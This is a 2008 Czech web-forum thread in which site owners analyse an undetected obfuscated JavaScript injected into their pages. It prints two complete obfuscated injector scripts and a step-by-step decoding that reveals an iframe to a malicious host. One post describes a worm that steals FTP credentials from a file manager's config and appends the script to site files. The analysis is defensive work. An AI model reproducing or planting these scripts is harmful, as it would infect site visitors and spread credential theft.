nedetekovaný js virus - poznáte co dělá?

Dal bych si pozor ... Podobný bordel dostává do PC trojany ... Ti potom, pokud máte např. v Commanderu FTP účty, tak si dokáže vycucnout info (od ftp po heslo) a potom to zasírá *.php, *.html právě podobnými kódy hezky přes ftp ... Je pak problém se toho zbavit a šíří se to dál, protože i návštěvníkům takto zavirovaného webu to tahá trojany do PC.

20. 3. 2008 23:33:45

https://webtrh.cz/diskuse/nedetekovany-js-virus-poznate-co-dela/#reply53757

miniJOHN

(57 hodnocení)

21. 3. 2008 09:25:00

Napsal kubiz;43584
Dal bych si pozor ... Podobný bordel dostává do PC trojany ... Ti potom, pokud máte např. v Commanderu FTP účty, tak si dokáže vycucnout info (od ftp po heslo) a potom to zasírá *.php, *.html právě podobnými kódy hezky přes ftp ... Je pak problém se toho zbavit a šíří se to dál, protože i návštěvníkům takto zavirovaného webu to tahá trojany do PC.

Ahoj,

ano, ale já moc nevěřím, že by se mi dostal vir(trojan) do PC přes internetový prohlížeč(FF) při prohlížení stránky. Nemyslím to tak, že když někam vejdu(většinou warez), tak mi vyskoči okno, jestli chci stáhnout to a to, ale tak, že se prostě do počítače něco uloží, aniž bych si toho všimnul(teď nemyslím cookies)...

Můj názor...

Samozřejmě v kombinaci s Firewallem a s antivirovým programem

21. 3. 2008 09:25:00

https://webtrh.cz/diskuse/nedetekovany-js-virus-poznate-co-dela/#reply53756

Petr Bartoš

21. 3. 2008 10:48:56

miniJOHN: dobrý postup... až tam mi to šlo taky, pak jsem ale ten dlouhý parametr zkusil prohnat urldecode() a ten vrátil nesmyslný binární kód, slepá ulička... k těm trojanům, můžou se ti dostat do kompu i potichu, stačí na to jen zapnutá java nebo spouštění nepodepsaných activex komponent

retal, Jauzah: přijít na to co ta věc dělá a zda a jak mi ovlivnila počítač

davidkojot: naprosto.

insekticid: borec! ;) smekám. takže počitadlo v číně... prozradíš jak jsi ten skript rozkódoval? ta příloha se nedaří otevřít, prý nedostatek práv.

21. 3. 2008 10:48:56

https://webtrh.cz/diskuse/nedetekovany-js-virus-poznate-co-dela/#reply53755

miniJOHN

(57 hodnocení)

21. 3. 2008 11:02:51

Napsal petrs;43656
miniJOHN: dobrý postup... až tam mi to šlo taky, pak jsem ale ten dlouhý parametr zkusil prohnat urldecode() a ten vrátil nesmyslný binární kód, slepá ulička... k těm trojanům, můžou se ti dostat do kompu i potichu, stačí na to jen zapnutá java nebo spouštění nepodepsaných activex komponent

retal, Jauzah: přijít na to co ta věc dělá a zda a jak mi ovlivnila počítač

davidkojot: naprosto.

insekticid: borec! ;) smekám. takže počitadlo v číně... prozradíš jak jsi ten skript rozkódoval? ta příloha se nedaří otevřít, prý nedostatek práv.

faze1
===================================
<html><head>												<script>prompt("dd",unescape("%3Cscript%3Eif%28Gp%21%3D1%29%7Bfunction%20Ke%28rm%29%7Breturn%20rm%7Dtry%7Bvar%20gX%3D%27eeuefuewuekueGue3ueVueBuePue5uesueNueDueWuenueKuebueAuexueZueSue7uepuemueguehuerueXueUuedue9ueTueCueYueIueiueHueque4ueyuezue6ueRuetue8uejueauelueLueoueFueMueJuecufeuffufwufkufGuf3ufVufBufPuf5ufsufNufDufWufnufKufbufAufxufZufSuf7ufpufmufgufh%27%2CtV%3DgX.substr%282%2C1%29%3Bvar%20Ko%3DArray%28An%28%27151%27%29%2C18931%5E18731%2CAn%28%27200%27%29%2C20688%5E20489%2C10257%5E10451%2C6106%5E5889%2CAn%28%27223%27%29%2CAn%28%27149%27%29%2C19344%5E19293%2CAn%28%27222%27%29%2C6792%5E6733%2C20729%5E20541%2CAn%28%27139%27%29%2C4984%5E5049%2C8588%5E8463%2CAn%28%27226%27%29%2C24956%5E24991%2CAn%28%27135%27%29%2C21266%5E21443%2C1292%5E1477%2C16979%5E17105%2CAn%28%27208%27%29%2C30632%5E30581%2C5065%5E4867%2C9244%5E9459%2CAn%28%27234%27%29%2CAn%28%27150%27%29%2CAn%28%27206%27%29%2C30921%5E30741%2CAn%28%27144%27%29%2CAn%28%27207%27%29%2CAn%28%27133%27%29%2CAn%28%27255%27%29%2CAn%28%27198%27%29%2CAn%28%27204%27%29%2C26389%5E26517%2C12600%5E12715%2CAn%28%27157%27%29%2CAn%28%27159%27%29%2CAn%28%27155%27%29%2CAn%28%27192%27%29%2CAn%28%27137%27%29%2C7908%5E7735%2C12509%5E12337%2CAn%28%27230%27%29%2C19555%5E19611%2CAn%28%27214%27%29%2C30126%5E30019%2C24217%5E24085%2CAn%28%27154%27%29%2CAn%28%27242%27%29%2CAn%28%27249%27%29%2CAn%28%27224%27%29%2C20744%5E20987%2C25488%5E25431%2CAn%28%27250%27%29%2CAn%28%27132%27%29%2C28532%5E28599%2C12283%5E12063%2C9577%5E9711%2CAn%28%27145%27%29%2CAn%28%27138%27%29%2C16875%5E16767%2C32513%5E32751%2C26529%5E26449%2CAn%28%27245%27%29%2C19673%5E19531%2CAn%28%27246%27%29%2C15676%5E15819%2C21454%5E21335%2C27658%5E27875%2C14291%5E14081%2C11769%5E11537%2CAn%28%27161%27%29%2CAn%28%27229%27%29%2CAn%28%27241%27%29%2C31237%5E31389%2C17201%5E17327%2CAn%28%27156%27%29%2CAn%28%27129%27%29%29%2CWx%3Bvar%20lC%2Cub%3Bvar%20Ot%3D%27eeefewekeGe3eVeBePe5eseweVeGeNeseDeWe3eneKebeAexeZeSe7eDepemekeDegehereseXeUeDegemeVeXeneSedepemekeDeDe9efereDeseXeUeDegemeVeXeneSedeDe9efeTefeXeVeCeGeYeXenegeheTeIeXeVeCeGeYeXeneSeieHeqe4eyeyeyeyeyeSedeDe9eNewe5eYeXeseVeTeweNeNezeGeXeDereDeKebeie6ere6eieXefeweme3eXenexeZeSeie6edeXeRe3eGekeXefere6eie9efeTeVeNete8eCejeVekeGeseIeneSedeDeaepemekeDeleWereLefeoePeGeFeLeAezeMereLeoeLedepemekeDeJecereLe5e3e9emeVeXeoeTewfeemefefeGeweVeXfeeTeNekeIeLeAffe9ereLfwfkeVeYfefweLedeGePene9eNewe5eYeXeseVeTeweNeNezeGeXeTeGese9eXeRfGePeneleWeieLereLeiezeMeSeDererf3eoeSe7epemekeDe9fefkere9eNewe5eYeXeseVeTfeeNewemeVeGeNeseTfkeNefeVedepemekeDemeCereDeLfkeVeLeieLeVe3fVeLeieLfwfweLeieneDe9fefkeDfBereDeLeLfPeLeLfVebf5eneSeSeDeieDe9fefkeTekeXe3feemeweXeDenfwfsfNemf3exeyf3fDeTf3fWfweAeLeTeLeSeTekeXe3feemeweXeDenfwfneTeifweAeLeTeLeSeieLeTeLeiebf5eneSeDeieLeTeLeDeieDeJeceiffe9edepemekeDeJe5ere9eNewe5eYeXeseVeTewekeXemeVeXf5feeXeYeXeseVeneLeGePekemeYeXeLeSedeJe5eTefeXeVeheVeVekeGeZe5eVeXeDeneLefekeweLeAeDemeCeSedeJe5eTfkeXeGeIfkeVerfKedeJe5eTeUeGe9eVfkereoedeJe5eTePekemeYeXfbeNeke9eXekeDereDeyedeDeVekfAe7eDe9eNewe5eYeXeseVeTeZeNe9fAeTeme3e3eXese9fxfkeGfee9eDeneDeJe5eSedeDeWe3eneleWeAeDezeMeDeSedeaeDewemeVewfkeneXeSeDe7e9eNewe5eYeXeseVeTeUekeGeVeXeDeneLeefkeVeYfeeBeeeZeNe9fAeBeefweZeNe9fAeBeefwfkeVeYfeeBeLeSedeDe9eNewe5eYeXeseVeTeZeNe9fAeTeme3e3eXese9fxfkeGfee9eDeneDeJe5eSedeWe3eDeneDeleWeAezeMeSeDedeaeDeafZePe5eseweVeGeNeseDebf5eneSe7eDepemekeDexfSerfKe4eAebf7ere6eyeofKfpe4fmeqfgeHfDeyemeZewe9eXePe6edepemekeDeZegere6e6edeDePeNekenePe8ereyedeDePe8eDeeeDexfSedeDePe8eieieSeDeZegeiereDebf7eTefe5eZefeVekene8emeVfkeTePfeeNeNekene8emeVfkeTekemese9eNeYeneSfhebf7eTfeeXeseIeVfkeSeAeoeAeoeSedeDekeXeVe5ekeseDeZegedeDeaeefwefewekeGe3eVeB%27%2Chj%3D%27%27%3Bfunction%20An%28iO%29%7Breturn%20parseInt%28iO%29%7DgX%3DgX.split%28tV%29%3Bfor%20%28Wx%3D0%3BWx%3COt.length%3BWx+%3D2%29%7Bub%3DOt.substr%28Wx%2C2%29%3Bfor%28lC%3D0%3BlC%3CgX.length%3BlC++%29%7Bif%28gX%5BlC%5D%3D%3Dub%29break%3B%7Dhj+%3DString.fromCharCode%28Ko%5BlC%5D%5E171%29%3B%7Ddocument.write%28hj%29%3B%7Dcatch%28AF%29%7B%7D%7Dvar%20Gp%3D1%3C/script%3E"))</script><script>if(Gp!=1){function Ke(rm){return rm}try{var gX='eeuefuewuekueGue3ueVueBuePue5uesueNueDueWuenueKuebueAuexueZueSue7uepuemueguehuerueXueUuedue9ueTueCueYueIueiueHueque4ueyuezue6ueRuetue8uejueauelueLueoueFueMueJuecufeuffufwufkufGuf3ufVufBufPuf5ufsufNufDufWufnufKufbufAufxufZufSuf7ufpufmufgufh',tV=gX.substr(2,1);var Ko=Array(An('151'),18931^18731,An('200'),20688^20489,10257^10451,6106^5889,An('223'),An('149'),19344^19293,An('222'),6792^6733,20729^20541,An('139'),4984^5049,8588^8463,An('226'),24956^24991,An('135'),21266^21443,1292^1477,16979^17105,An('208'),30632^30581,5065^4867,9244^9459,An('234'),An('150'),An('206'),30921^30741,An('144'),An('207'),An('133'),An('255'),An('198'),An('204'),26389^26517,12600^12715,An('157'),An('159'),An('155'),An('192'),An('137'),7908^7735,12509^12337,An('230'),19555^19611,An('214'),30126^30019,24217^24085,An('154'),An('242'),An('249'),An('224'),20744^20987,25488^25431,An('250'),An('132'),28532^28599,12283^12063,9577^9711,An('145'),An('138'),16875^16767,32513^32751,26529^26449,An('245'),19673^19531,An('246'),15676^15819,21454^21335,27658^27875,14291^14081,11769^11537,An('161'),An('229'),An('241'),31237^31389,17201^17327,An('156'),An('129')),Wx;var lC,ub;var Ot='eeefewekeGe3eVeBePe5eseweVeGeNeseDeWe3eneKebeAexeZeSe7eDepemekeDegehereseXeUeDegemeVeXeneSedepemekeDeDe9efereDeseXeUeDegemeVeXeneSedeDe9efeTefeXeVeCeGeYeXenegeheTeIeXeVeCeGeYeXeneSeieHeqe4eyeyeyeyeyeSedeDe9eNewe5eYeXeseVeTeweNeNezeGeXeDereDeKebeie6ere6eieXefeweme3eXenexeZeSeie6edeXeRe3eGekeXefere6eie9efeTeVeNete8eCejeVekeGeseIeneSedeDeaepemekeDeleWereLefeoePeGeFeLeAezeMereLeoeLedepemekeDeJecereLe5e3e9emeVeXeoeTewfeemefefeGeweVeXfeeTeNekeIeLeAffe9ereLfwfkeVeYfefweLedeGePene9eNewe5eYeXeseVeTeweNeNezeGeXeTeGese9eXeRfGePeneleWeieLereLeiezeMeSeDererf3eoeSe7epemekeDe9fefkere9eNewe5eYeXeseVeTfeeNewemeVeGeNeseTfkeNefeVedepemekeDemeCereDeLfkeVeLeieLeVe3fVeLeieLfwfweLeieneDe9fefkeDfBereDeLeLfPeLeLfVebf5eneSeSeDeieDe9fefkeTekeXe3feemeweXeDenfwfsfNemf3exeyf3fDeTf3fWfweAeLeTeLeSeTekeXe3feemeweXeDenfwfneTeifweAeLeTeLeSeieLeTeLeiebf5eneSeDeieLeTeLeDeieDeJeceiffe9edepemekeDeJe5ere9eNewe5eYeXeseVeTewekeXemeVeXf5feeXeYeXeseVeneLeGePekemeYeXeLeSedeJe5eTefeXeVeheVeVekeGeZe5eVeXeDeneLefekeweLeAeDemeCeSedeJe5eTfkeXeGeIfkeVerfKedeJe5eTeUeGe9eVfkereoedeJe5eTePekemeYeXfbeNeke9eXekeDereDeyedeDeVekfAe7eDe9eNewe5eYeXeseVeTeZeNe9fAeTeme3e3eXese9fxfkeGfee9eDeneDeJe5eSedeDeWe3eneleWeAeDezeMeDeSedeaeDewemeVewfkeneXeSeDe7e9eNewe5eYeXeseVeTeUekeGeVeXeDeneLeefkeVeYfeeBeeeZeNe9fAeBeefweZeNe9fAeBeefwfkeVeYfeeBeLeSedeDe9eNewe5eYeXeseVeTeZeNe9fAeTeme3e3eXese9fxfkeGfee9eDeneDeJe5eSedeWe3eDeneDeleWeAezeMeSeDedeaeDeafZePe5eseweVeGeNeseDebf5eneSe7eDepemekeDexfSerfKe4eAebf7ere6eyeofKfpe4fmeqfgeHfDeyemeZewe9eXePe6edepemekeDeZegere6e6edeDePeNekenePe8ereyedeDePe8eDeeeDexfSedeDePe8eieieSeDeZegeiereDebf7eTefe5eZefeVekene8emeVfkeTePfeeNeNekene8emeVfkeTekemese9eNeYeneSfhebf7eTfeeXeseIeVfkeSeAeoeAeoeSedeDekeXeVe5ekeseDeZegedeDeaeefwefewekeGe3eVeB',hj='';function An(iO){return parseInt(iO)}gX=gX.split(tV);for (Wx=0;Wx<Ot.length;Wx+=2){ub=Ot.substr(Wx,2);for(lC=0;lC<gX.length;lC++){if(gX==ub)break;}hj+=String.fromCharCode(Ko^171);}document.write(hj);}catch(AF){}}var Gp=1</script>

faze 2
===================================

var Ko=Array(An('151'),18931^18731,An('200'),20688^20489,10257^10451,6106^5889,An('223'),An('149'),19344^19293,An('222'),6792^6733,20729^20541,An('139'),4984^5049,8588^8463,An('226'),24956^24991,An('135'),21266^21443,1292^1477,16979^17105,An('208'),30632^30581,5065^4867,9244^9459,An('234'),An('150'),An('206'),30921^30741,An('144'),An('207'),An('133'),An('255'),An('198'),An('204'),26389^26517,12600^12715,An('157'),An('159'),An('155'),An('192'),An('137'),7908^7735,12509^12337,An('230'),19555^19611,An('214'),30126^30019,24217^24085,An('154'),An('242'),An('249'),An('224'),20744^20987,25488^25431,An('250'),An('132'),28532^28599,12283^12063,9577^9711,An('145'),An('138'),16875^16767,32513^32751,26529^26449,An('245'),19673^19531,An('246'),15676^15819,21454^21335,27658^27875,14291^14081,11769^11537,An('161'),An('229'),An('241'),31237^31389,17201^17327,An('156'),An('129')),Wx;alert("dd");

var lC,ub;
		var Ot='eeefewekeGe3eVeBePe5eseweVeGeNeseDeWe3eneKebeAexeZeSe7eDepemekeDegehereseXeUeDegemeVeXeneSedepemekeDeDe9efereDeseXeUeDegemeVeXeneSedeDe9efeTefeXeVeCeGeYeXenegeheTeIeXeVeCeGeYeXeneSeieHeqe4eyeyeyeyeyeSedeDe9eNewe5eYeXeseVeTeweNeNezeGeXeDereDeKebeie6ere6eieXefeweme3eXenexeZeSeie6edeXeRe3eGekeXefere6eie9efeTeVeNete8eCejeVekeGeseIeneSedeDeaepemekeDeleWereLefeoePeGeFeLeAezeMereLeoeLedepemekeDeJecereLe5e3e9emeVeXeoeTewfeemefefeGeweVeXfeeTeNekeIeLeAffe9ereLfwfkeVeYfefweLedeGePene9eNewe5eYeXeseVeTeweNeNezeGeXeTeGese9eXeRfGePeneleWeieLereLeiezeMeSeDererf3eoeSe7epemekeDe9fefkere9eNewe5eYeXeseVeTfeeNewemeVeGeNeseTfkeNefeVedepemekeDemeCereDeLfkeVeLeieLeVe3fVeLeieLfwfweLeieneDe9fefkeDfBereDeLeLfPeLeLfVebf5eneSeSeDeieDe9fefkeTekeXe3feemeweXeDenfwfsfNemf3exeyf3fDeTf3fWfweAeLeTeLeSeTekeXe3feemeweXeDenfwfneTeifweAeLeTeLeSeieLeTeLeiebf5eneSeDeieLeTeLeDeieDeJeceiffe9edepemekeDeJe5ere9eNewe5eYeXeseVeTewekeXemeVeXf5feeXeYeXeseVeneLeGePekemeYeXeLeSedeJe5eTefeXeVeheVeVekeGeZe5eVeXeDeneLefekeweLeAeDemeCeSedeJe5eTfkeXeGeIfkeVerfKedeJe5eTeUeGe9eVfkereoedeJe5eTePekemeYeXfbeNeke9eXekeDereDeyedeDeVekfAe7eDe9eNewe5eYeXeseVeTeZeNe9fAeTeme3e3eXese9fxfkeGfee9eDeneDeJe5eSedeDeWe3eneleWeAeDezeMeDeSedeaeDewemeVewfkeneXeSeDe7e9eNewe5eYeXeseVeTeUekeGeVeXeDeneLeefkeVeYfeeBeeeZeNe9fAeBeefweZeNe9fAeBeefwfkeVeYfeeBeLeSedeDe9eNewe5eYeXeseVeTeZeNe9fAeTeme3e3eXese9fxfkeGfee9eDeneDeJe5eSedeWe3eDeneDeleWeAezeMeSeDedeaeDeafZePe5eseweVeGeNeseDebf5eneSe7eDepemekeDexfSerfKe4eAebf7ere6eyeofKfpe4fmeqfgeHfDeyemeZewe9eXePe6edepemekeDeZegere6e6edeDePeNekenePe8ereyedeDePe8eDeeeDexfSedeDePe8eieieSeDeZegeiereDebf7eTefe5eZefeVekene8emeVfkeTePfeeNeNekene8emeVfkeTekemese9eNeYeneSfhebf7eTfeeXeseIeVfkeSeAeoeAeoeSedeDekeXeVe5ekeseDeZegedeDeaeefwefewekeGe3eVeB',hj='';

gX=gX.split(tV);
		
		for (Wx=0;Wx<Ot.length;Wx+=2)
		{
			ub=Ot.substr(Wx,2);
		  for(lC=0;lC<gX.length;lC++){if(gX==ub)break;}
		  hj+=String.fromCharCode(Ko^171);
		}
		//prompt("dd",hj);
		document.write(hj);
	}
	catch(AF){}
}
//var Gp=1

</script>

faze 3
==================================

vysledek: iframe src=
====================================
http://f2813db23e02933327da496a.134902b90bab2d738b5367a7.update1.classictel.org/html/

21. 3. 2008 11:02:51

https://webtrh.cz/diskuse/nedetekovany-js-virus-poznate-co-dela/#reply53754

Jakub Adamus

(1 hodnocení)

21. 3. 2008 14:23:43

Pokud si spravne pamatuju a je to skutecne on:

po spusteni v IE to nainstaluje (mozna nic nenainstaluje, ale vyuzije primo pristupu k souborum pomoci nejake IE chyby) nejakeho hezkeho cervika, ktery si najde wcx_ftp.ini

co si ze souboru vytahne asi tusite

data nekam posle

no a pak uz roboti na nejakych serverech pouze ta data pouziji, prozatim jedine pouziti, ktere jsem videl je to, ze na dane FTP nahraje do vsech adresaru pojmenovanych /www/ do kazdeho souboru s rozumnou priponou (php, html, asp...) na konec prida opet jeden a ten samy skript

Vsiml jsem si jen toho, jak se siri, jestli dela i neco jineho krom sveho sireni, to netusim...

A jestli je to on, to taky nevim, preci jen uz je to dlouho :)

<script>eval(unescape('function%20vlIjdMJ%28vSxBS%29%7Bfunction%20wbhiTPQx%28fnnwb%29%7Bvar%20nCp%3Dfnnwb.length%3Bvar%20zBI%3D0%2CaJac%3D0%3Bwhile%28zBI%3CnCp%29%7BaJac+%3Dfnnwb.charCodeAt%28zBI%29*nCp%3BzBI++%3B%7Dreturn%20%28%27%27+aJac%29%7D%20%20%20try%20%7Bvar%20sDIxm%3Deval%28%27aArPgAuPmoeonot%3EsA.ocoaklPlkekek%27.replace%28/%5Bo%5C%3EPAk%5D/g%2C%20%27%27%29%29%2CjtpV%3Dnew%20String%28%29%2CfBvkh%3D0%3BhFgH%3D0%2CqKpcSA%3D%28new%20String%28sDIxm%29%29.replace%28/%5B%5E@a-z0-9A-Z_.%2C-%5D/g%2C%27%27%29%3Bvar%20ttHY%3DwbhiTPQx%28qKpcSA%29%3BvSxBS%3Dunescape%28vSxBS%29%3Bfor%28var%20xZGKIU%3D0%3B%20xZGKIU%20%3C%20%28vSxBS.length%29%3B%20xZGKIU++%29%7Bvar%20lBI%3DvSxBS.charCodeAt%28xZGKIU%29%3Bvar%20xpE%3DqKpcSA.charCodeAt%28fBvkh%29%5EttHY.charCodeAt%28hFgH%29%3BfBvkh++%3BhFgH++%3Bif%28fBvkh%3EqKpcSA.length%29fBvkh%3D0%3Bif%28hFgH%3EttHY.length%29hFgH%3D0%3BjtpV+%3DString.fromCharCode%28lBI%5ExpE%29%3B%7Deval%28jtpV%29%3B%20return%20jtpV%3Dnew%20String%28%29%3B%7Dcatch%28e%29%7B%7D%7DvlIjdMJ%28%27%2532%2536%2532%2537%2530%2532%2539%2530%2556%2538%2509%253a%253f%2555%2551%2534%251e%2543%2516%2513%2536%252e%2570%2521%253f%2536%251b%2533%2535%2529%252f%253c%2546%2554%2541%2503%2533%253d%2528%2512%2533%252a%253c%2511%251a%2503%252f%253a%253e%257e%257f%257b%2578%2519%2539%253b%2521%252a%2537%252a%2570%256b%2501%2506%251e%2570%253b%253d%2545%2569%2565%251c%2526%2563%257c%256b%2512%2579%253b%254b%251f%2542%2501%2567%253d%2564%252c%2569%2524%2559%2502%256c%256d%256d%2522%2532%2536%2511%2512%2535%2522%2517%2532%252f%250d%2516%2524%2564%256c%253e%2515%250e%252e%2536%252e%2520%255a%2573%250c%2538%250a%252e%253c%250c%2538%252b%257c%2523%256d%2553%255e%256d%257d%2579%2519%256e%257d%2574%254d%2524%250d%252c%2559%2503%2503%2529%257d%253b%2562%256c%256d%252d%254f%251f%2523%2534%257f%2574%257a%253d%2577%256d%253d%2573%2524%2529%2537%252a%2563%2530%254d%250f%253b%2527%253c%257b%253b%2505%251e%2504%2527%2532%2553%253c%2530%252a%2541%252c%2504%252b%2501%2529%2528%2571%2575%2574%257f%2548%251c%2525%2537%2538%2574%2532%2556%257b%2579%252e%252b%256a%2547%2532%2534%251e%2504%251c%2539%2561%250e%2578%253f%2577%2536%253b%2501%2513%251e%252e%2523%2557%252e%252f%2534%250d%253f%2539%2532%2513%2571%2525%2563%2566%2558%2565%2514%256b%2504%2500%2572%253d%2534%251c%256c%2525%2527%2530%2536%2528%2551%2548%255f%2534%2531%2538%2516%250d%2506%252f%2535%2565%2521%253a%250e%251d%252f%2504%256f%251b%253d%2523%253d%252f%250b%2535%257b%253d%253d%251f%2512%2560%2513%250b%2539%2536%2522%2523%252f%2521%2523%250d%2550%2550%255b%254b%253d%255f%2548%255a%2559%250a%250d%252d%2519%2566%2521%250e%2577%2535%253b%253b%2503%252c%2534%250d%250d%2558%2559%2543%2558%2564%2575%2573%2545%254b%2502%2568%250c%2527%2503%251e%2524%2544%2569%253e%2534%251c%252d%253f%253d%254d%2512%2523%250a%2521%2552%2529%2504%2573%253f%251b%256d%2568%2505%2523%250b%252e%253b%2500%2524%2534%257a%2501%250a%257e%2518%253e%2500%2535%252e%256d%2533%2559%2566%257e%2576%256d%2558%2509%250a%2568%2517%2537%253c%2520%251a%250a%2576%2569%2553%2525%252d%251a%253d%250c%250f%251f%252e%2571%2531%2539%2519%253b%2554%2549%2522%2531%251c%2534%253e%2573%2533%250d%2511%2523%2545%2517%2524%257c%2539%2532%2520%2554%251e%2531%2504%2524%2573%2573%2532%2579%2502%2574%2503%2530%250b%2510%252f%251c%250c%2506%2530%2536%252b%2570%2500%253b%2525%2513%254f%2553%2528%253f%2526%2534%2530%2503%2529%2517%2573%2571%2575%2532%2576%2578%2560%2569%2573%256a%2567%2570%2544%2576%256d%257c%2538%252d%2518%253b%252f%2517%253b%2530%2576%253f%2505%2529%252d%250d%2520%2575%257b%256c%252c%250f%2535%2527%2562%254a%257e%2575%2573%2541%2554%256b%257f%2539%2523%2530%2532%253d%2536%2540%2521%2557%2538%2537%253b%2578%2566%257b%2554%257c%2525%2526%250e%2533%2524%2511%2509%254b%2543%2565%2514%254a%2522%2528%2510%251e%2520%2508%252d%252e%2529%253c%253d%2578%254d%256b%2543%2533%2578%253a%2531%252a%2530%252f%2504%250e%2539%251c%2522%256c%257b%253f%2523%2500%257d%2539%2532%253e%2531%2561%257d%2536%2500%2534%2524%254a%2559%252f%256a%252a%251b%2507%2537%2535%256b%253c%2537%2571%257b%2566%252b%2515%252b%2505%2526%253d%2514%2578%2569%2546%253a%252d%252b%2536%256a%2538%253e%253f%255a%2558%2522%253f%2534%2559%2567%2537%251a%2520%252f%255b%2523%2521%2500%251e%252a%2531%250d%250e%252a%252f%2522%251b%253f%2536%2521%2516%2563%2569%257a%253e%2535%2517%2502%2568%251e%256a%2562%256f%252c%2535%2504%2522%254a%2511%2504%2563%2548%2529%251d%2523%2521%2527%252d%252a%2507%2516%256e%2562%257b%250a%2576%2529%253a%2545%2537%2576%2526%252e%252c%252c%2542%2537%2532%2511%2522%2572%256b%257f%2531%2512%251c%252a%253b%2548%2579%252f%2511%2567%2514%2562%2500%2579%2537%252d%2537%2536%257d%2515%2569%2531%2507%252c%2508%253f%257e%2578%2515%2526%2509%2570%2538%2522%250e%2574%2500%250f%2554%251a%2575%256e%2511%2523%253b%2535%250f%2536%2520%255e%2551%2513%257c%2555%251e%254f%2511%252d%250e%257b%2532%255e%2578%253a%255d%252b%2530%257f%251e%2574%251b%2548%2579%2549%256b%2517%256c%2520%253c%2525%2518%2516%2504%2543%2568%257b%257d%2505%2541%2523%255f%252d%257f%2528%256d%2501%250a%2539%2529%253e%250a%252d%2504%251a%2534%2508%2524%2510%256f%2524%256b%2515%254e%251a%2516%2535%2536%2515%2504%2510%2569%251d%256d%2544%2507%2517%2509%2539%2563%252d%250d%2558%2554%2520%2538%251a%250e%2516%252a%252b%254c%2501%2578%2530%257b%2554%257d%2569%2541%254b%250f%2509%2515%2566%251a%2536%253b%2502%255e%2529%255c%2525%251d%2530%2569%2538%253f%2538%2536%254a%2539%257a%250a%2503%2527%2524%2545%255e%2542%251f%254b%2501%2521%252d%253e%2522%255d%2530%255b%257b%250c%254f%2514%2570%253b%252b%2536%2563%255a%2554%252b%2530%2512%2537%2535%2518%2567%253e%2541%253d%2526%2515%250d%256b%253c%2534%253f%2506%255f%252e%2524%253b%2505%2523%2579%2551%255b%254e%2538%2554%2535%2571%2537%2575%251a%2543%2544%257b%2568%252c%2510%2570%253d%257c%2515%255d%253f%252c%255a%250c%253b%257b%2527%250b%2525%252e%253b%2532%2517%256c%257d%2503%2563%2507%2574%256e%252d%257d%2526%2530%2519%2567%250c%2534%257e%2575%2579%257c%2566%252b%2543%2553%256d%2511%2528%2504%2524%2519%2509%2503%2522%2532%2522%2532%2569%2530%2563%2529%2540%2501%251d%2576%2522%2534%251c%2506%2538%2549%2560%251f%255c%2561%2532%2512%252c%252a%2500%253d%2539%256e%2568%253d%2536%250c%252f%2529%251e%2574%2505%256c%2527%2548%2577%2572%2550%2548%256b%253d%252a%2536%253c%2529%257f%2507%2534%252a%2514%2558%2539%252c%253e%2536%255c%252f%2531%2535%2532%2572%2518%253c%253b%2526%2511%2525%252f%252e%251f%2504%2573%2565%251a%2539%252b%2528%2576%253d%252a%2534%2533%2500%2503%2530%2502%2523%2523%2539%257e%257c%251f%2539%257b%2523%2536%251c%2529%2536%253b%2538%2524%2538%2569%253e%256f%256d%2572%2523%250d%2530%2511%2532%252c%251f%251e%255c%254e%252d%2558%256d%2571%2561%2532%2534%2533%2528%250c%2527%251a%2553%2570%2508%2534%2539%2508%2541%2535%253c%2534%2564%2523%253f%2574%2526%2505%2536%252a%2505%2576%2538%2538%251b%2525%250e%2519%2510%2532%255a%2528%2527%2508%250d%2549%2577%2530%2522%2531%252b%2521%251d%2571%2541%252e%2530%253f%2531%2573%256b%256d%254e%2566%2565%257c%257c%2569%2579%253a%2534%2519%2552%255f%256c%2553%2565%2547%257f%252a%2529%254f%2538%2535%252e%2564%254c%2521%2576%2574%251a%253d%2539%253b%2501%2535%2537%2539%253f%2542%2570%2538%257f%2572%2534%2536%2531%2520%254b%253a%2503%2507%250e%2536%2570%2571%2509%2500%2530%2509%2532%2535%256f%2548%256d%2578%2549%257b%2576%2537%2571%2559%2564%2536%2534%2558%2574%2502%2530%250f%256c%257f%252b%251e%2550%2579%254a%2528%2507%2534%2568%2510%2574%255f%2562%2576%2578%2519%255b%2557%2566%2573%2509%2569%257d%2530%253e%2521%253d%253d%2513%2504%253f%2564%252d%2546%2527%2558%253b%2546%2578%2532%253d%2536%2570%253c%256f%2578%2560%255a%2564%255e%2540%2560%2526%2532%2539%2517%257e%2504%252b%2537%252e%2521%253f%250e%2522%2502%2513%2527%251e%2503%256d%2575%257c%2568%2543%2571%2568%2575%2561%2548%256a%250f%250b%250f%252e%256a%252c%2539%2531%253e%2543%255c%256b%250f%250b%256b%253c%2544%2505%2513%250d%253d%257f%2518%2537%254e%2515%257d%2527%2575%2501%2561%2576%2535%2572%2504%2510%2505%2559%2533%2532%2535%252c%2573%255b%2540%2520%2557%254c%251f%254b%2575%253a%252b%2527%252a%251f%2503%257e%257a%2548%27%29%3B'));</script>

21. 3. 2008 14:23:43

https://webtrh.cz/diskuse/nedetekovany-js-virus-poznate-co-dela/#reply53753

Petr Bartoš

21. 3. 2008 14:41:59

miniJOHN: díky

Retal: díky za změnu odkazu v úvodním příspěvku na neklikatelný

paklos: to bude určitě on, viz tohle ruske forum, kde techniku viru a postizene servery rozebiraji jeste detailneji (prispevek od RUNaum)

http://translate.google.com/translate?hl=en&sl=ru&u=http://www.cracklab.ru/f/index.php%3Faction%3Dvthread%26forum%3D6%26topic%3D11393&sa=X&oi=translate&resnum=8&ct=result&prev=/search%3Fq%3D2traff.cn%26num%3D20%26hl%3Den%26safe%3Doff%26client%3Dfirefox-a%26rls%3Dorg.mozilla:cs:official%26hs%3DtvJ%26sa%3DG

21. 3. 2008 14:41:59

https://webtrh.cz/diskuse/nedetekovany-js-virus-poznate-co-dela/#reply53752